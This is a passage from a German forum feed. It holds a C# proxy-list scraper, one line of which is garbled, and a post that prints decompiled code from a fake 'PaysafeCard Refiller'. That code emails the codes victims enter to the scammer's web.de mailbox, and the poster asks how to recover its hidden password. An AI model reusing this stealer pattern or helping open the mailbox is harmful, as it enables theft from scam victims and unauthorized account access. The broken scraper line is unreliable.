<span style="color: #0000BB"></span><span style="color: #FF8000">/*<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;____&nbsp;&nbsp;__.&nbsp;&nbsp;_________&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;|/&nbsp;_|&nbsp;/&nbsp;&nbsp;&nbsp;_____/&nbsp;___________|__|______/&nbsp;&nbsp;|_&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;&nbsp;&nbsp;&nbsp;\_____&nbsp;&nbsp;\_/&nbsp;___\_&nbsp;&nbsp;__&nbsp;\&nbsp;&nbsp;\____&nbsp;\&nbsp;&nbsp;&nbsp;__\<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;\&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\___|&nbsp;&nbsp;|&nbsp;\/&nbsp;&nbsp;|&nbsp;&nbsp;|_&gt;&nbsp;&gt;&nbsp;&nbsp;|&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|____|__&nbsp;\/_______&nbsp;&nbsp;/\___&nbsp;&nbsp;&gt;__|&nbsp;&nbsp;|__|&nbsp;&nbsp;&nbsp;__/|__|&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|__|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HTTP&nbsp;PROXY&nbsp;GRABBER<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;©&nbsp;The&nbsp;Don&nbsp;of&nbsp;NYC&nbsp;-&nbsp;2012<br />&nbsp;*/<br /><br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Net</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Threading</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">.</span><span style="color: #0000BB">Generic</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">.</span><span style="color: #0000BB">RegularExpressions</span><span style="color: #007700">;<br /><br />namespace&nbsp;</span><span style="color: #0000BB">HttpProxyGrabber<br /></span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;class&nbsp;</span><span style="color: #0000BB">Program<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;Main</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Title&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"HTTP&nbsp;Proxy&nbsp;Grabber&nbsp;by&nbsp;The&nbsp;Don&nbsp;of&nbsp;NYC"</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;List&lt;</span><span style="color: #0000BB">String</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">proxies&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Proxylist</span><span style="color: #007700">(</span><span style="color: #0000BB">100</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//&nbsp;100&nbsp;Proxies&nbsp;laden<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;(</span><span style="color: #0000BB">proxies&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)&nbsp;</span><span style="color: #FF8000">//&nbsp;wenn&nbsp;die&nbsp;Liste&nbsp;null&nbsp;ist,&nbsp;gabs&nbsp;wohl&nbsp;einen&nbsp;Fehler...<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">proxies</span><span style="color: #007700">.</span><span style="color: #0000BB">Count</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #0000BB">proxies</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;);&nbsp;</span><span style="color: #FF8000">//&nbsp;und&nbsp;ausgeben<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadLine</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gibt&nbsp;eine&nbsp;Liste&nbsp;mit&nbsp;HTTP&nbsp;Proxies&nbsp;zurück<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="count"&gt;Anzahl&nbsp;der&nbsp;Proxies&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;HTTP&nbsp;Proxylist&lt;/returns&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;static&nbsp;List&lt;</span><span style="color: #0000BB">String</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">Proxylist</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;count</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;List&lt;</span><span style="color: #0000BB">String</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">proxylist&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;List&lt;</span><span style="color: #0000BB">String</span><span style="color: #007700">&gt;();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Thread&nbsp;loadThread&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Thread</span><span style="color: #007700">(</span><span style="color: #0000BB">delegate</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">source&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">WebClient</span><span style="color: #007700">().</span><span style="color: #0000BB">DownloadString</span><span style="color: #007700">(</span><span style="color: #DD0000">"http://www.proxybase.de/de/list-0.htm"</span><span style="color: #007700">).</span><span style="color: #0000BB">Split</span><span style="color: #007700">(</span><span style="color: #DD0000">'\n'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;pageCount&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Vorhandene&nbsp;Seiten&nbsp;auslesen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">source</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">source</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Contains</span><span style="color: #007700">(</span><span style="color: #DD0000">"http://www.proxybase.de/de/list-0.htm"&nbsp;</span><span style="color: #0000BB">style</span><span style="color: #DD0000">"))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pageCount&nbsp;=&nbsp;int.Parse(source&#91;i&#93;.Substring(source&#91;i&#93;.LastIndexOf(""&gt;"</span><span style="color: #007700">)).</span><span style="color: #0000BB">Split</span><span style="color: #007700">(</span><span style="color: #DD0000">'&gt;'</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Split</span><span style="color: #007700">(</span><span style="color: #DD0000">'&lt;'</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;j&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">j&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">pageCount&nbsp;</span><span style="color: #007700">*&nbsp;</span><span style="color: #0000BB">20&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">20</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">j&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">20</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;proxyContent&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">WebClient</span><span style="color: #007700">().</span><span style="color: #0000BB">DownloadString</span><span style="color: #007700">(</span><span style="color: #0000BB">String</span><span style="color: #007700">.</span><span style="color: #0000BB">Format</span><span style="color: #007700">(</span><span style="color: #DD0000">"http://www.proxybase.de/de/list-{0}.htm"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">j</span><span style="color: #007700">));<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach&nbsp;(</span><span style="color: #0000BB">Match&nbsp;m&nbsp;in&nbsp;Regex</span><span style="color: #007700">.</span><span style="color: #0000BB">Matches</span><span style="color: #007700">(</span><span style="color: #0000BB">proxyContent</span><span style="color: #007700">,&nbsp;@</span><span style="color: #DD0000">"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,6}"</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">proxylist</span><span style="color: #007700">.</span><span style="color: #0000BB">Contains</span><span style="color: #007700">(</span><span style="color: #0000BB">m</span><span style="color: #007700">.</span><span style="color: #0000BB">Value</span><span style="color: #007700">))&nbsp;</span><span style="color: #FF8000">//&nbsp;wenn&nbsp;der&nbsp;Proxy&nbsp;noch&nbsp;nicht&nbsp;hinzugefügt&nbsp;wurde<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">proxylist</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">m</span><span style="color: #007700">.</span><span style="color: #0000BB">Value</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//&nbsp;fügen&nbsp;wir&nbsp;diesen&nbsp;hinzu<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;(</span><span style="color: #0000BB">proxylist</span><span style="color: #007700">.</span><span style="color: #0000BB">Count&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">count</span><span style="color: #007700">)&nbsp;</span><span style="color: #FF8000">//&nbsp;prüfen&nbsp;ob&nbsp;wir&nbsp;schon&nbsp;die&nbsp;angegebene&nbsp;Anzahl&nbsp;erreicht&nbsp;haben&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;});<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">loadThread</span><span style="color: #007700">.</span><span style="color: #0000BB">Start</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(</span><span style="color: #0000BB">loadThread</span><span style="color: #007700">.</span><span style="color: #0000BB">IsAlive</span><span style="color: #007700">)&nbsp;;&nbsp;</span><span style="color: #FF8000">//&nbsp;warten&nbsp;bis&nbsp;alles&nbsp;geladen&nbsp;bzw.&nbsp;der&nbsp;Thread&nbsp;ausgefüht&nbsp;wurde...<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">return&nbsp;</span><span style="color: #0000BB">proxylist</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//&nbsp;Liste&nbsp;mit&nbsp;den&nbsp;hinzugefügten&nbsp;HTTP&nbsp;Proxies&nbsp;zurückgeben<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch&nbsp;(</span><span style="color: #0000BB">Exception&nbsp;ex</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #0000BB">ex</span><span style="color: #007700">.</span><span style="color: #0000BB">ToString</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Have Fun. (Y)</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>The Don of NYC</dc:creator>
			<guid isPermaLink="true">showroom-102/http-proxy-grabber-30321</guid>
		</item>
		<item>
			<title>Wer kann mir helfen?</title>
			<link>showroom-102/wer-kann-mir-helfen-31557?goto=newpost</link>
			<pubDate>Wed, 04 Jan 2012 00:25:45 GMT</pubDate>
			<description>Hallo! 
 
Und zwar folgendes: 
Ich bin gerade dabei sämtliche Programme dich bei YouTube finde ausseinander zu nehmen. ^^ 
 
Habe nun bei einem...</description>
			<content:encoded><![CDATA[<div>Hallo!<br />
<br />
Und zwar folgendes:<br />
Ich bin gerade dabei sämtliche Programme dich bei YouTube finde ausseinander zu nehmen. ^^<br />
<br />
Habe nun bei einem Projekt ein Problem:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">&nbsp; &nbsp; &nbsp; &nbsp; Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dim password As String = Me.AscToString(New Object() { &amp;H63, &amp;H63, &amp;H63, &amp;H63, &amp;H63, &amp;H63, &amp;H63, &amp;H63, &amp;H63, &amp;H63, &amp;H63, &amp;H63 })<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If (((Me.ComboBox1.Text &lt;&gt; &quot;25 &quot; &amp; ChrW(8364)) And (Me.ComboBox1.Text &lt;&gt; &quot;50 &quot; &amp; ChrW(8364))) And (Me.ComboBox1.Text &lt;&gt; &quot;100 &quot; &amp; ChrW(8364))) Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Interaction.MsgBox(&quot;Invalid value&quot;, MsgBoxStyle.OkOnly, Nothing)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ElseIf ((Me.TextBox1.Text = &quot;&quot;) Or (Me.ComboBox1.Text = &quot;&quot;)) Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Interaction.MsgBox(&quot;Please fill in any needed information!&quot;, MsgBoxStyle.OkOnly, Nothing)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Me.Timer1.Start<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dim client As New SmtpClient(&quot;smtp.web.de&quot;) With { _<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .EnableSsl = True, _<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .Credentials = New NetworkCredential(&quot;*******@web.de&quot;, password), _<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .Port = Conversions.ToInteger(&quot;587&quot;) _<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dim message As New MailMessage With { _<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .Subject = Me.TextBox1.Text _<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; message.To.Add(&quot;*******@web.de&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; message.From = New MailAddress(&quot;*******@web.de&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; message.Body = (&quot;Code: &quot; &amp; Me.TextBox1.Text &amp; &quot;passwort von *******@web.de : passwort131&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; client.Send(message)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Interaction.MsgBox(&quot;Process completed! If the PaysafeCard code was valid your Paysafecard will be refilled in about 3h! If having any problems read the Help-Section. Please close the Refiller now!&quot;, MsgBoxStyle.OkOnly, &quot;Information&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End If<br />
&nbsp; &nbsp; &nbsp; &nbsp; End Sub</code><hr />
</div>Und zwar kriege ich das Passwort nicht raus. ^^<br />
In der Zeile <br />
<br />
<div class="bbcode_container">
